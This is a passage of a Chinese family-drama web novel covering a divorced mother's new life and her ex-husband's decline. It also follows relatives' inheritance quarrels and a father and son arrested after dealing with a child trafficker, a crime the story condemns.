曾舒仪姐弟帮着曾舒月,离婚又搬家,一直到清明时,曾庆良两口子才知道这个事。 眼看曾庆良要发火,曾舒仪抢先道,“爸,现在不是以前。人何东都把外面女人搞大肚子,总不能让她给何东二奶吧?” 曾庆良气得说不出话来,“这个王八蛋,他怎么敢做出这种事?” “他已经做了,你就别想那么多,这事不怪二姐,往后谁也别说这个事。”曾舒仪特意看了大哥大嫂一眼,“不然谁多嘴一句,别怪我不客气。” 王娟两口子想说得话,都在曾舒仪这一句话之后咽了回去。 这个事在曾家这,算是过去了。因为有个好消息,是林玉娇怀孕了,所以曾庆良和林家珍都被转移了注意力,盼着林玉娇怀的孩子出生。 而何家那,杨彩妹两口子得知儿子离婚时都想骂人,但知道是因为吴小草怀孕,那叫一个高兴,杨彩妹还特意从村里过来伺候。 不过吴小草那么快和何东领证,村里也有了一些闲言碎语,吴小草哥嫂嫌弃她做事难看,特意写信来骂她。 杨彩妹却不觉得有什么,“你以后就跟着何东在城里享福,别管村里人怎么说,他们是嫉妒你。” 看着吴小草隆起的小腹,这可是她盼了好久的孙子,“还是你有福气,我就喜欢你给我当儿媳妇,那个曾舒月和个扫把星一样。” 吴小草也高兴,她总算如愿了。她看到何东和曾秋月的感情出现裂缝,她就知道自己的机会来了,趁着何东喝醉酒的时候,主动爬上何东的床。 她自认不比曾舒月差,既然曾舒月不珍惜何东,就换她来好了。 何东对吴小草也很满意,一开始还有点不能接受,后来吴小草体贴入微,他也就慢慢喜欢这种当家做主感觉。 何东端着水果进来,“妈,都过去的事,别老在小草面前替舒月的事。” “知道了,不提了。”杨彩妹看着儿媳妇的肚子尖尖的,“你爱吃酸的,肚子又尖尖的,肯定是个儿子。你想吃什么,妈给你做?” “我想吃咱们老家的清明粿,可以吗?” “当然可以,我这就去市场买菜。”杨彩妹乐呵呵出门,结果在菜市场遇到了林家珍。 看到林家珍也提着篮子买菜,经过林家珍身边时,特意挤了下林家珍。 “杨彩妹,你干什么?”林家珍知道杨彩妹是故意的。 “瞧你这人说的,我来买菜啊。这里人那么多,不小心碰了下而已,怎么,你城里人碰一下就要发火吗?”杨彩妹哼了一声,上下打量林家珍,“我没内功夫和你吵,我儿媳妇怀了孙子,我得回家给她做饭呢。” 林家珍气得手发抖,“你……你小心有报应!” “我呸,什么报应?要报应也是报应到你家,你生的好女儿,不尊敬长辈,还生不了儿子,就知道祸害人!”杨彩妹呸了一声,心下特别爽快地回去。 而林家珍因为没吵过杨彩妹,气鼓鼓地回去,还被儿子儿媳看出来。 曾向民得知杨彩妹又来了,他也生气,“何东那个队伍干不了多久的,咱们等着看他倒霉吧!” 林玉娇问怎么回事。 “他没有管理的能力,现在手下的人觉得他不好,给的不够多,早就有人想另外单干。”曾向民和曾舒仪气不过何东干的事,所以拿钱找了一个人,把何东和吴小草的丑事,在村里宣传一遍,这个话也是那个人和曾向民说的。 “确实,我也觉得何东不是个有脑子的。”林玉娇摸了摸肚子,又去安抚婆婆,“妈,您别生气了,气坏了自己不值当。何家和我们没关系了,以后看到了就当没看到。” 林家珍点点头,“嗯,我去给你们做饭。” 林家珍心里替二女儿委屈,虽说另外买了房,但为了照顾胜男,二女儿还是辞了保姆的工作。好在三女儿给二女儿安排了工作,不然这日子还真不容易。 她每次想到二女儿的事就想叹气,不过她也没想到,何家的报应会来那么快。 没过一个月,何东的人都走了,被他同村的老乡给带走。 何东一下没了人手,接下来的单子也做不了,再去找工人,大家伙都不乐意和他干。 又过了几个月,吴小草生了个儿子,这倒是给何东家里带来多少慰藉。 吴小草倒是体贴,安抚何东,“你别着急,我相信你的本事,只要你好好努力,还会有东山再起一天。为了儿子,我也会和你一起努力。” 听到这话,何东又看看襁褓中的儿子,又重燃希望,天天往码头跑。 不过何东本事一直没长进,之前能干起来,一个是运气好,还一个是那会手下的人还没那么多小心思。 跑了一个月码头,何东总算找到人愿意和他合伙,这下松了一口气。 在何东忙着拼事业时,曾舒月也在适应开店的日子。 她听从妹妹建议,在小学门口租下一间铺子,以后就卖文具。 正好女儿每天回家近,她现在有更多时间陪伴女儿,而不是做保姆时,一个月只能休息一天。 看着小学放学,曾舒月开始忙碌起来,“水果糖一分钱,铅笔五分钱,胜男你回来了啊,不用你帮忙,你先去写作业。” 话是这么说,但何胜男还是帮着卖东西,看到有认识的同学,她也大大方方介绍,“嗯,这是我妈妈开的店,以后大家都可以来买东西,我给你们送贴纸。” 文具店也就上学和放学这个时间段忙,母女两个人渐渐习惯了这种日子,曾舒月甚至快忘记何东这个人。 还是新的一年的正月,曾舒月带女儿去外婆家拜年,在路上看到狼狈的何东,本想直接走人,想到边上的女儿,还是停了下来。 “胜男,这个饼干给你吃。”何东把手里的饼干递过去。 何胜男先看了妈妈,见妈妈点头,才收下,“爸,你怎么穿那么点?” 何东低头看了看自己单薄的外套,苦涩地笑了下,“我不怕冷,你先去你外婆家,我和你妈妈有话说。” 曾舒月看出何东有难处,拍了拍女儿的背,“你先走吧,我和你爸说两句。” 从离婚后,她没特意在女儿面前说何东不好,也交代家里人别说了,这样对女儿成长不好。不管怎么样,都是女儿的爸,她和何东可以不来往,但女儿很难做到。 “舒月啊,你最近还好吗?” “有话就说。” “额,是这样,我前段时间和人做生意,被他骗了钱。”何东不敢看曾舒月眼睛,“他现在偷渡到国外去,我根本找不到他。为了做生意,我还借了钱,现在债主催得厉害,你……你能不能借我点钱?” “你能借到我这里来,看来你是真的走投无路了。”曾舒月笑了,“但我不会借给你,我也没有钱借给你。我手里的钱全拿去买房了,现在开店的钱,还是舒仪先支给我的。既然你没钱还,把房子卖了,回你老家呗。你爸妈一定会很高兴,毕竟他们最开始就不同意你来榕城,你说是不是?” 何东面色涨红,“我都这样了,你干嘛还要挖苦我?” “这是你自找的,离婚的时候我就说了。不要再来找我,我们就是陌路人。”曾舒月上下扫了何东一眼,“你知道找到我家会怎么样吧,我弟弟不会放过你的。人要识趣点,你就不该和我开这个口。” 曾舒月转身就走了,她回到家里时,家里人都知道何东找来,主动说了何东被骗的事。 曾向民刚拍手说了句“报应”,就注意到外甥女的表情落寞,赶忙转移话题,“不说这个,二姐你快看看我女儿,她好可爱!” 年前他生了个女儿,他自己很高兴,但他爸特别失望,明里暗里说让他再生一个。 摇篮里的小婴儿白白胖胖,看到人就笑,曾舒月拿出准备好的红包放在摇篮里,“像玉娇,生得白嫩可爱,以后长大一定是个大美人。” 曾舒仪也过来给红包,“爸,你当爷爷的,准备了多少的红包呀?” 曾庆良不情不愿地看了老伴一眼,“你给孩子们分,我去找老刘下棋。” “都快吃饭了,你还出去干嘛?”林家珍啧了一声,把准备好的红包拿出来。 王娟替女儿接过红包,她憋了一路,一直在找说话的机会,“妈,听说咱们这一片要拆迁,是真的假的?” 第54章 曾家的这套房子, 位于榕城市中心,拆迁的消息在年前就有人说,不过最近刚确定。 林家珍点头说是。 “怎么赔啊?”王娟最关心这个, 她住的地方也听说要拆迁,公婆如果分得多,以后肯定是她的。 “大嫂,你那么心急干嘛,已经惦记上了?”曾向民笑眯眯地看着他大嫂, “爸妈的房子不管分多少, 最后肯定是我们四个平分。” “凭啥,他们是女儿,要分也只有你大哥和你有份。”王娟不乐意。 曾舒仪:“那这么说来,大嫂你生的也是女儿, 以后玉玲也不能分你的家产,让向民生的儿子去继承好了。” “这怎么能一样?”王娟当即皱眉,去看曾向平寻求帮助, “向平,你说句话。” 曾向平只想自己一个人分, 但是这个话不能直接说,他笑着去看曾舒仪,“舒仪, 你去打听打听,就没有女儿分家产的。你都是外嫁的女儿了,还跑回娘家争家产, 不怕被人笑话吗?” “这些年,爸妈去医院,我没有陪着去吗?他们的生活费, 我没有给吗?”曾舒仪突然笑了下,“哦,我想起来了,大哥你每次都说忙,大嫂也不肯去,都是我们出钱出力。这么说来,你最不应该分钱,毕竟你没有儿子,给了你的钱,以后也要给别人。” 论嘴皮子功夫,曾舒仪最是厉害,曾向平也说不过妹妹,只好去看他爸妈。 曾庆良原本是打算只给两个儿子分房子,因为刚刚好,拆迁会给两套房。 但是后来小女儿说,他要是这样分,以后就别指望她照顾。转念想到大儿子没有儿子,如果分给大儿子太多也没用,干脆就改了想法。 不过这会儿,曾庆良并不想说这个事,“都给我闭嘴,老子都没死呢,你们就说分家产的事。干什么,诅咒我快点死啊?” 曾舒月说没有。 曾舒仪则是帮忙出主意,“爸妈不是会分两套房么,一套自己住,另一套用来出租,不着急现在分给谁,这都是以后的事。至于分来的钱,也你们自己拿着用,辛苦大半辈子,也该享福了。” “可是爸妈手里拿那么多钱,不好吧?”王娟小心翼翼问。 “那给你就好了吗?”曾舒仪哼了哼,“大嫂,我劝你人要知足。我是不缺这点钱,但你非要和我争,我不介意和你争一争,你也知道我本事的?” 有曾舒仪出面,这个事就这么定了。 曾舒仪之前买的铺面和房子,也要拆迁,她自己不缺钱,根本不在意娘家这点房产,只是看不得大哥大嫂的那点小心思。 等吃过饭,曾庆良特意把大儿子和大儿媳留了下来,还关好门窗。 “爸,你这悄摸摸的,干嘛呢?”曾向平不解地看着他爸。 “向平啊,你和小娟现在都没有正式工作,不用担心计划生育问题。”曾庆良刚开口,王娟就皱眉,她不乐意听这个,“爸,你又不是不知道,我生不了了。” “你插什么嘴,我还不知道你生不了吗?”曾庆良瞥了眼大儿媳,“我的意思是,咱们找关系,去抱养一个男婴给你们养。到时候人口普查再加上去,就说之前是因为计划生育,所以没上户口。咱们从小带到大,那也是一样亲的,总不能以后都没人给你们上香吧?” 这个事,王娟爸妈最近也提起来,王娟自己在纠结,“可是爸,不是自己生的,不一样吧?” “有什么不一样?”曾庆良反问,“你不说,我不说,到时候谁知道是抱养的?咱们这一片要拆迁,以后都不住一起了,还有谁会知道?” 只要孩子不知道,那就是他们曾家的亲孙子。 林家珍一直没说话,她到现在,并没有那么看重孙子。感受到有女儿的好,至于老伴说的那些虚名,她没有太在意。 不过如果能抱养一个,那也行,就当行善积德了。 王娟心动了,“向平,你说呢?” 曾向平其实更想要自己的儿子,是王娟不能生,又不是他不能生。这几年他又有点钱,心思又有点活跃。 不过他爸说的也有点道理,他总不能这个年纪再去离婚,“可是爸,孤儿院的孩子大多数有病,养个有病的,还不如不养。” “谁说要养孤儿院的,我认识一个人,他说有农村人生太多养不起,就会把孩子拿去送养。咱们只要给点营养费,去把孩子接过来就行。”曾庆良就是认识了这个人,才会有这个想法,“怎么样向平,你要是同意,我就去帮你找。” 王娟自己生不了,又因为没儿子的事,一直心里膈应,她觉得很好,期待地看着曾向平。 曾向平思考片刻,直到他爸说营养费不用他给,这才答应下来。 “好好好,那我就让人去联系。”曾庆良乐呵呵地笑起来,“你都不知道,今年我去祠堂时,都没脸面拜祖宗。以后等你和向民都有了儿子,我才能挺直腰板。对了小娟,从现在起,你少出门,不然人家会怀疑的。” “好的爸,都听你的。”王娟很高兴,“不过爸,这要多久啊?” “你急什么,这种事又不是说有就有,等着吧,一年半载内,总会有消息。”曾庆良说完事了,才把大儿子一家打发走。 另一边,曾舒仪开车送二姐母女回家。 后座上,何胜男和陈云凌趴着窗户看风景,“三姨,这个车好好,真是你买的啊?” “是啊,上个月刚到的车,怎么样,很不错吧?”曾舒仪去年学的开车,就一直想买一辆自己的车,用起来方便很多,“等哪个周末,让你妈关了店,我们一起去赶海玩。” “好啊好啊,我有同学就住海边,他说老家每个月都有大潮,可以去赶海挖海蛎子,还有螃蟹和鱼。”说到去玩,何胜男这才高兴起来。 “那就下个周末去,咱们先去碰碰运气。”曾舒仪说完再去看二姐,“店里生意怎么样?” “比当保姆能挣的要多一点,谢谢你舒仪。”曾舒月的货款都没给,妹妹说了,等她卖出去再给。 “一家子姐妹不用客气,你好好过日子,我就放心了。”曾舒仪把车停在路边,“如果有什么事,一定要和我们说,别自己憋着。” 送走二姐,曾舒仪才回家去。 看到陈澈在家,曾舒仪不再意外了,“怎么,工人又罢工了?” “不是,我和厂长吵了一架。”陈澈叹气道,“我想关闭两间厂房,卖出旧设备,买进口设备。但是厂长不同意,他说关了厂房,又有一批工人下岗没饭吃。但我们不革新,只是拖延时间罢了,而且拖不了多久。” 第55章 陈澈最近为了工厂的事焦头烂额, 特别是和厂长意见不合,让他更有种干不下去的感觉。 曾舒仪看得出陈澈这段时间的焦虑,“工人们肯定更维护厂长的决定, 在他们认知里,守着铁饭碗是最重要的。但时代变了,工人不会再是铁饭碗,很残酷的是,时代给了他们信仰, 却在这个时候抛弃了他们。” 她握住爱人的手, “你不是神,你无法拯救一整个工厂,尽力而为吧,身体最重要。” 陈澈点点头, “嗯,我知道的,我已经在尽力了。” 没过多久, 机械厂就和军工厂合并,不过上面给了政策, 普通工人全部下岗,但像陈澈这种技术骨干可以选择留下。 陈澈没有当时做选择,而是想先回家看看。 当他推开门, 看到爱人和妈妈都在儿子边上,爸爸拿着书在客厅,场面温馨, 他突然觉得家人更重要。 陈铭看到儿子回来,就问起军工厂的事,“你想好没有, 如果去军工厂,应该要住宿舍吧?” 他干了一辈子工程师,知道去军工厂还是有些前途,但也有限。因为时代需要更新、更有才华的人。 “我想好了,不去了。”陈澈道,“我有个朋友,之前一直想拉着我合伙,现在正好是个机会。人生嘛,闯一闯,为自己拼一把。” 曾舒仪表示同意,“等你公司发展起来,我就退居二线,以后只拿分红。” 她和赵磊的公司越干越大,最近开始接触外贸生意,一年的分红已经是以前的好多倍。不过工作也更累,曾舒仪每天都安排得很满,休息时间越来越少。 既然陈澈做了决定,一家人都是支持。 不过在曾庆良看来,陈澈是糊涂了,不过碍于是女婿,他没有说太多不好。 曾家房子要拆迁,新房子一时半会盖不起来,曾舒仪把自己的一套旧房子先给她爸妈住。 虽然她爸有暗示过,她别墅那么大,住一起也没关系。但她没接这个话,有她爸一起住,日子注定没那么和谐。 又过了两年,陈澈的公司慢慢步入正轨,曾舒仪怀了二胎。 她想要个女儿,就算不是,多个孩子也好,不然就儿子一个人,以后太孤单。 这天曾舒仪和陈澈去产检,陈澈去拿报告单时,曾舒仪坐在诊室外边候着。 她很意外地看到了何东和吴小草,他们还抱着一个大吵大闹的孩子。 当曾舒仪和何东目光对上,何东下意识躲闪开,吴小草则是在哄孩子,但是那个孩子怎么哄都哄不好。 等何东他们走后,曾舒仪边上的另一个孕妇小声和她八卦,“你是第一次见到那个孩子吧?” 曾舒仪说是。 “哎,可怜啊,说什么是自闭症,不会和其他人交流,只会哭和闹。”孕妇一边说,一边叹气,“你说天底下怎么会有这种病呢?” 曾舒仪也是第一次听说自闭症,难怪刚刚看吴小草怎么哄都哄不好。 “可怜啊,真的可怜。而且我和你说,这种病不仅孩子苦,做爸妈的更苦,要一直看着,因为他生活不能自理。”孕妇摸了摸自己的肚子,“阿弥陀佛,菩萨保佑,希望我的孩子平安健康,也希望他快点好吧。” 这时陈澈回来,说他也看到何东,“不知怎么回事,我感觉他儿子不太正常。” 曾舒仪点头说是,夫妻俩一起往外走,“听说是自闭症,生活不能自理。” 此时的何东和吴小草,绝望地从诊室出来,医生说治不了。 “要不我们去北京上海看看?”吴小草紧紧抱着儿子,“明明小时候还好好的一个人,怎么现在成这样?” “算了吧小草,你没听医生说么,在哪里都治不好。”何东叹气道,“这些年,为了看病,我们把房子都卖了,我们又没有稳定工作。小草,这就是报应吧。” 看到曾舒仪时,他就想到了曾舒月,如果他没做那种事,或许就不会有这个结果? “什么报应?”吴小草拽住何东,目瞪狰狞,“何东,这可是我们的亲儿子,你……你怎么能那么狠心,说不治就不治了?” 在她心里,时常会想,何东是不是忘不了曾舒月。 “你别闹了,又不是我不治,你想想医生的话。榕城可是省城,我们跑遍了医院都不行,怎么可能治好?”何东累了,身心俱疲。 没有好工作,也没有盼头,何东是真的不想治了,他觉得没希望了。 “你不去试试怎么知道?”吴小草却不愿意放弃,在医院里和何东吵了起来,“你是不是后悔和我在一起了?” “我没有。” “你就有!” “小草,你别无理取闹!”何东刚大声点,就把儿子吵醒了,小孩儿哇哇大哭起来,医院的护士过来让他们快点哄好孩子。 两个人狼狈地离开医院,等他们到出租房,房东早已等着他们。 “我说你们两个,还能不能把孩子哄好?”房东看吴小草怀里孩子可怜,但她也没办法,“我这一栋楼,还有好多租户,你们儿子半夜哇哇哭,其他人怎么睡觉?” 何东和房东道歉,“实在对不住,孩子太小,他又生病,我们也没办法。” “我就是看你们儿子有病,才可怜你们,给了你们一次又一次机会。但是最近走了两个租户,都不和我续租了。我和你们说啊,算了吧,这个病我知道,治不好的。你们还不如带着孩子回乡下,再生一个吧。”房东叹了口气,说着指了下门口的鱼,“我家亲戚送的,给孩子补一补吧,这样的孩子,也是累赘。” 吴小草紧紧咬着唇瓣,关了门才敢小声骂人,“她凭什么说我们儿子是累赘?我就不信了,一定有办法治好!” 何东却坐在椅子上不说话,他目光空洞地看着地面,什么话都没说。 过了两天,何东在中学门口,特意等女儿放学。 何胜男看到她爸来了,左右看了看,才过去问,“爸,您怎么来了?” “我来看看你。”何东看着亭亭玉立的女儿,再想到生活不能自理的儿子,心中酸涩,“学习怎么样,还好吗?” “挺好的,我这次月考又是第一名。爸,您是不是有话和我说?”何胜男看她爸欲言又止。 “我想请你吃个饭。”何东局促地看着女儿,“我可能要回老家了,以后不在榕城,就不能来看你。你也知道你弟弟的病,治不好了,我又在榕城没有工作,还不如回去种田。胜男,可以吗?” 何胜男有些纠结。 何东知道女儿的为难,“去问问你妈妈,要是她也愿意,大家一起吃个饭吧。” 曾舒月自然不愿意一起吃饭,但她同意女儿和何东吃饭,“既然你爸要走,你就去和他吃饭。这是二十块钱,记得你买单。他现在没什么钱,别让他付钱了。对了,你再和他说两句,种田也没什么不好,只要肯干活,都饿不死。” 何胜男看着手里的钱,小心翼翼地问,“妈,你不恨我爸吗?” “以前恨,现在我对他没有任何感觉,也不在乎他过得好,还是坏。胜男,我已经到了这个年纪,经历了人生上大大小小的各种事,不会再纠结很多事了,过好自己的日子才是最重要的。”曾舒月拍拍女儿的胳膊,“快去吧,不然你爸以为我不肯。” 何胜男拿着钱去和她爸吃饭,她心情很复杂,一方面小时候的爸爸对她很好,另一方面爸爸确实做了背叛妈妈的事。 三姨说,让她别想太复杂,既然她妈妈都走出来了,很多东西就不重要了。 而何东吃过这顿饭,第二天就带着吴小草回老家了。当初他不情愿地跟着曾舒月来榕城,现在又不情愿地回老家。 当初分家时,爸妈想着他在榕城扎根,就没给他分田地。房子也没有,现在回去,只能跟爸妈住一起,免不得被哥哥嫂嫂说道。不过这都是他咎由自取,无话可说。 何东的事,在曾家没有起任何波澜,曾舒仪这次怀孕,孕吐很厉害,每天都吃不了什么,她婆婆看在眼里,每天换着花样给曾舒仪做菜。 “你多少吃一点,忍着别吐,不然你自己身体也受不了。”马淑芬在一旁劝着道,“真是苦了你了,怎么二胎还会更害喜?” 去年老伴过世,她在家里摔了一跤,就被儿子儿媳接了过来一块住。 “奶奶,我尽力吃了,可能过段时间才能好。”曾舒仪现在闻不得一点味道,“您别担心我,我刚去医院看了的。” “哪能不担心,你看你小脸瘦了。我已经打电话给小澈,让他不管多忙,都要在家陪你几天。工作虽然重要,但也没你重要。”马淑芬觉得孙子挣的钱够多了,再挣钱也花不完,还不如多陪陪老婆孩子。 曾舒仪笑着说好。 就在这时,电话响了。 马淑芬听到是曾向民,“你等一下,我让你姐姐接。” “三姐,大哥和爸被抓了,你说他们怎么就不消停,听信什么抱养孩子的话,其实是人贩子。”曾向民在电话里气得想骂人,“你不用管他们,不过你有空的话,回家看看妈。” “等等,你说什么人贩子?” “是爸遇到一个人,说可以帮忙联系孩子多的家庭,帮忙给大哥抱养一个儿子,只要给人一些营养费就行。结果那个中间人是人贩子,昨天爸和大哥去看孩子时,被警察给一锅端了。”曾向民一点都不同情,只有对他爸愚昧的气愤。 第56章 陈澈开车送曾舒仪回到岳家, 看到大嫂也在,他主动问现在怎么样了。 林家珍揉着太阳穴的位置,“警察说还在调查, 你们说,怎么就和人贩子扯上关系?” 曾舒仪:“妈,爸和大哥真不知道那是人贩子吗?” “不知道啊,要是知道了,他肯定会和我说。妈没骗你, 他真的不知道。”林家珍再三保证。 曾舒仪并不信她爸是个有道德的人, 如果知道是人贩子,她爸爸也会去买孩子。 “妈,你别管了,警察会调查清楚的。他们真要不知情, 警察也不会抓他们。但如果知情,被判刑也是活该。”曾舒仪自己也有孩子,要是她孩子被拐买, 她一定心急如焚。想到这一点,她就能大义灭亲, 恨不得让曾向平父子俩被关一段时间。 但这个话,让王娟怒了,“曾舒仪, 你还是不是这个家的人?” “大嫂,你也是有孩子的人,将心比心, 要是玉玲被拐买,你能接受吗?”曾舒仪冷冷地看向大嫂,“这个事, 本来就不对,又不是路边真的捡到孩子,只要有脑子推敲一下,就知道不可能有这种好事。这年头,我见过送养女儿的,还没见人把健康男孩送人。” “你……你这是什么话,难不成爸还会骗我们?”王娟质问道。 “我只是这么一说,骗没骗的,谁知道呢?”这个事,曾舒仪不想管,也不会去管,“妈,咱们将心比心一下吧。如果他们犯了错,也该去受教育。” “曾舒仪,你也太狠心了,怎么能说出这种话?”王娟指着曾舒仪,“你大哥要是去坐牢,你让我和玉玲怎么办?” 她现在没有工作,全家都靠曾向平的收入维持生活。 曾舒仪:“你的日子要是过不下去,妈也不会少你一口饭吃。” 离开曾家时,曾舒仪深吸一口气,“你说我爸这个人,怎么就不消停点?” “你别想那么多,岳母说得对,如果岳父知情,肯定会直接说,他不是个会在乎这个事的人。”陈澈道。 没过两天,曾庆良还真被放出来了,他确认被骗了,但曾向平没有。 一开始曾向平也不知道对方是人贩子,但他察觉到不对劲,私下里联系了对方,得知对方是人贩子,不仅没有断绝想法,反而让人贩子帮忙拐他喜欢的小孩,这个性质就不一样了。 得知曾向平要被判刑,王娟带着女儿在曾家哭得死去活来,还砸了很多东西,说是曾庆良害了他们一家。本来日子过得好好的,非要生什么儿子,结果现在把曾向平给送进去。 曾庆良自知理亏,也就由着王娟闹腾,曾舒月回家一趟,把侄女给带了回家。 “玉玲,你就住这屋,你和胜男一个学校,正好可以一起写作业。”曾舒月替侄女安排好房间,又柔声安抚,“别想你爸妈的事,你爸过个两年就出来了,到时候还是可以好好过日子。” “得了吧二姑,就我爸那个样子,这辈子都不会老老实实过日子,总能整出一点事来。你放心,我没事,我也不乐意和我妈一个人住。”曾玉玲老成地说完,躺到了床上。 过了会,看到表妹进来,头抬起来看一眼,又继续躺下,“二姑叫你来安慰我?” “嗯,我妈怕你不开心。”何胜男道。 “胜男,有二姑这种妈妈真好啊,温柔,又讲道理,还处处都为你着想。不像我爸妈,一个年轻时只想着搞破鞋,还一个白长脑子,我舅舅他们花言巧语两句,就把她钱都骗走。”曾玉玲躺在床上,一边说,一边忍不住笑出来,“其实我没特别不开心,也没很开心。” 从小到大,曾玉玲听得最多的就是,她怎么不是个男孩? 爷爷总是看着她叹气,妈妈也时常遗憾她不是男孩,就好像她是男孩,他们家就能飞黄腾达一样。 同样是女孩,又同样年纪,曾玉玲有时候会羡慕表妹,至少二姑是真心疼爱表妹。 至于她,亲妈嘴上说她是最重要的人,实际上是妈妈掌控欲太强。 “如果我能考上大学,我一定要考得越远越好,以后就再也不回来。”曾玉玲道,“不过以我的成绩太难了,算了吧,我还是去打工吧。胜男,我们班老师都经常夸你,说你勤快又聪明,你一定会给二姑争光的。” “你呢,你不想给自己争光吗?”何胜男也有超出同龄人的成熟,“表姐,不是为了大舅舅和大舅母,就是为了你自己而已。三姨常说,人都要为自己而活,不管是爸妈,还是丈夫孩子,都只是陪伴我们一段人生。只有自己,才会陪着自己永远。” 曾玉玲愣了下,随后坐了起来,“三姑确实活得洒脱,但一般人做不到她那样。不过你激励到我了,我努努力吧。” 客厅里曾舒月喊他们吃冰饭,两个姑娘对视一眼,一块儿出去了。 没过两天,王娟来接人,曾玉玲却不愿意回去。 “你这傻丫头,你有你自己家,一直赖在你二姑这里,只会给人添麻烦。”王娟去拉女儿,结果女儿甩开她的手。 “妈,我和胜男说好了,以后一起读书,一起上学做作业。你不是想我考大学么,如果我有胜男带着,不是更容易考上大学?”曾玉玲早就想到她妈会来,准备好了说辞。 “可是……你这样住着,多添麻烦?”爱人不在身边,娘家得知曾向平要判刑,对她态度瞬间不一样。每天回到家里冷冰冰的,她一个人特别不自在,心里空得很,“不如这样,你每天和胜男一起写作业,我九点半来接你回家,怎么样?” 曾玉玲就是不想回去,回到家里,她想都不用想,就能知道她妈每天要抱怨生活,抱怨她爸,又抱怨她成绩为什么一直提不上去。 “妈,我下学期就高三了,从我们家到二姑家里,每天来回得浪费半个小时,你是不想我上大学了吗?” 曾舒月看出侄女不愿意回去,帮忙道,“大嫂,不麻烦的,多一个人而已。而且你不是要忙大哥的事,还要找工作,你先忙完这段时间再说?” “也行,那等暑假了,我再来接玉玲。”王娟把女儿拉到屋里,给女儿塞了一把钱,“你个没良心的臭丫头,你二姑家就那么好?” “还行吧。” “还行你个鬼,你爸这样了,你都不知道回家陪陪我。”王娟说着说着想哭了,“我就你这一个女儿,我这辈子都是为了你在努力,你怎么不能体贴我点?” 曾玉玲听得想翻白眼,却不得不“嗯嗯”地敷衍应付。 “我告诉你啊,在你二姑这里要好好读书,最好能超过何胜男,别让我被人看笑话。”王娟擦了擦眼角,“自从你爸出事,你两个舅舅对我都没笑脸了,咱们母女相依为命,往后日子还不知道怎么过?” “妈,这我就忍不住说两句,我那两个舅舅就是吸血虫,对你没有真心。也就你,人家对你笑一下,你就和哈巴狗一样舔过去。说什么,你要有事,还得靠娘家,结果呢,现在你靠上娘家了没有?”曾玉玲不爱去外公外婆家,更不乐意去舅舅家,每次去了,要被说成绩,还要说她对长辈不热情。 “怎么,连你都挤兑我了?”王娟不高兴了,“好好好,你们一个个的都说是我不对,我能想到你舅舅们狼心狗肺吗?那会还不是想着和他们处好关系,以后对你也有帮助。” 她猛地拉开门,“行,你要给别人做女儿就住这里吧,我不管你了!” 看王娟气冲冲走了,曾舒月叹了口气,送王娟到门口,“大嫂,孩子的话别放在心上,你慢走。” 屋里,曾玉玲和表妹摊手,“我就是说了几句真话,她自己破防受不了。我那两个舅舅本来就是吸血虫,这些年,没少从我妈那里套钱,说是借的,其实一次都没还。” 何胜男不喜欢谈论这些,“既然你要住我家,就要按我生活习惯来。这个时间,我要做作业的,你也过来一起吧。” “啊?今天不是周末吗?”曾玉玲还想着拿钱去逛街,去吃顿好的呢。 “不好意思表姐,我没有周末。我看过你的试卷,你有一些基础,但也只有一些,先和我一起背英语吧。”何胜男说着,已经拿出英语书。 曾舒月看有女儿带着侄女,也就不多说话了,她大嫂那个人,确实带不好孩子。 她去菜市场买菜,今天是周末,学校关门了,文具店没几个人,她懒得开业,就在家里给孩子们做饭。结果到了菜市场,遇到了多年没见的李丹丹。 “李阿姨,您也是来买菜吗?”曾舒月主动打招呼。 李丹丹愣了下,才认出曾舒月,“是你啊舒月,对对对,我听说这里有土鸡卖了,就过来看看。小康不是高三了么,我想着给他补补身体。” “时间真快,小康都高三了,成绩怎么样?美丽呢?”曾舒月离开家属院后,就没见过周家人了,所以对周家这三年情况不太了解。 “美丽没考上大学,去当兵了。小康成绩中上,他爸想让他考军校,但不知道可不可以。胜男呢,她怎么样,是不是成绩很好?”李丹丹一直很喜欢曾舒月,现在重逢,有很多话要说。两个人一边买菜,一边聊天。 “胜男成绩还可以,她下学期高三。”曾舒月带着李丹丹到熟人那买土鸡,等离开菜市场,曾舒月邀请李丹丹过去坐坐,“我家就在附近,您过去喝杯茶?” “改天吧,我要是再不回去,赶不上做午饭了。”李丹丹家里有保姆做饭,但她不及时回去,鸡汤炖不好,“对了舒月,你男人还在码头做事吗?码头太辛苦了,而且是体力活,不能长久干,最好还是换个营生。” 听李丹丹说“你男人”三个字,曾舒月有些愣住,一时半会想不到谁是她男人。 等意识到李丹丹说的是何东,她尴尬地道,“李阿姨,我离婚好久了。何东他已经回老家了。” 曾舒月和何东没有联系了,但何东每年过年前,都会给女儿寄来一袋土特产。毕竟是女儿的爸,曾舒月也没拦着女儿和何东书信来往。 但是她自己,是从不过问何东的任何事。 “啊?你也离婚了?”李丹丹很是惊讶,“怎么回事啊,我看你们夫妇都是老实巴交的人,怎么会离婚?” “过日子嘛,合不来就离了。”曾舒月听到李丹丹说了个也字,顺嘴问了句,“李阿姨,还有谁离婚啊?” “你周哥,他和那个资本家小姐也是合不来。”说到这个,李丹丹就想叹气,一肚子的话想说,心想鸡汤晚上喝也可以,主动提出想去曾舒月那坐坐。 第57章 到了曾舒月家里, 李丹丹先是认出何胜男,再去看曾玉玲。 “这是我大哥的女儿,在我家和胜男一块读书。”曾舒月把两个小姑娘打发回房间, 又给李丹丹倒茶。 李丹丹帮着曾舒月一块摘菜,把这些年憋的话一股脑地说出来,“从梁如茵进门,我就想着回乡下。但你周哥说,老家没其他人, 还是让我留在榕城。我倒是还好, 就算是看不顺眼,忍住不去说就是。但梁如茵没带过孩子,她要求孩子们每天早上不能发出动静,吃饭不能有声音。其实这是好事, 但孩子们无拘无束惯了,一开始接受不了,但后来也慢慢改了。” “后来呢?” “两个孩子明面上不说, 其实心里已经不舒服,因为梁如茵对他们是面子功夫。一次听到梁如茵和梁家人说他们没教养, 美丽就忍不住和她争执。在美丽看来,为了家庭和谐,她已经尽力听梁如茵的规矩去改变。但梁如茵却觉得美丽姐弟做得还不够, 离她想象的样子差太多。” 说到这里,李丹丹忍不住叹气,“美丽和梁如茵大吵一架, 搬到学校去住。连带着小康对梁如茵也有敌意,家里日子就闹腾起来。” “那周哥呢?” “你周哥本来就忙,前几年升师长又更多事, 梁如茵觉得他太忙,又不懂浪漫,隔三差五吵架。本来日子都能过,直到梁如茵自己去做了流产手术,你周哥就不想过了。” 李丹丹摇了摇头,“我一开始觉得是梁如茵事多,后来发现,他们就是不合适。两个人性格不和,想法不和,哪哪都不合适。” 